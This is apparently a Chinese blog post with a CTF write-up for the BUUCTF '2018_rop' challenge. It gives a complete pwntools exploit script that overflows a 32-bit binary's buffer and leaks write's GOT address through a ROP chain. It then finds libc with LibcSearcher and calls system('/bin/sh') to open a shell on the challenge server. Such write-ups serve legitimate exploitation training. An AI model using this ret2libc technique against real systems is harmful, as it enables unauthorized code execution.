BUUCTF 刷题铁人三项(第五赛区)_2018_rop

最新推荐文章于 2025-02-10 17:01:24 发布

原创最新推荐文章于 2025-02-10 17:01:24 发布 · 2.5k 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#linux #安全 #web安全 #经验分享

笔记专栏收录该内容

6 篇文章

订阅专栏

这篇博客详细介绍了如何通过在BUUCTF竞赛中利用ROP技术（Return-Oriented Programming）进行直接ret2libc攻击，涉及payload构建、write函数参数填充以及Libc搜索过程。最终目标是利用system调用执行shell，展示了从本地攻击到远程交互的完整流程。

BUUCTF在线评测

直接ret2libc，很简单，但是write函数有三个参数要填充

exp：

from pwn import *
from LibcSearcher import *

context(os = 'linux',arch = 'i386',log_level = 'debug')
#r = process('./rop')
r = remote('node4.buuoj.cn','26575')
elf = ELF('./rop')

main = 0x080484C6


payload = 'a'*140 + p32(elf.plt['write']) +p32(main)+p32(1)+ p32(elf.got['write']) +p32(0x4)
r.sendline(payload)
write_addr = u32(r.recv(4))
print(hex(write_addr))

libc = LibcSearcher('write',write_addr)
offset = write_addr - libc.dump('write')
system = offset + libc.dump('system')
binsh = offset + libc.dump('str_bin_sh')

payload = 'a'*140 + p32(system) + 'bbbb' + p32(binsh)
r.sendline(payload)

r.interactive()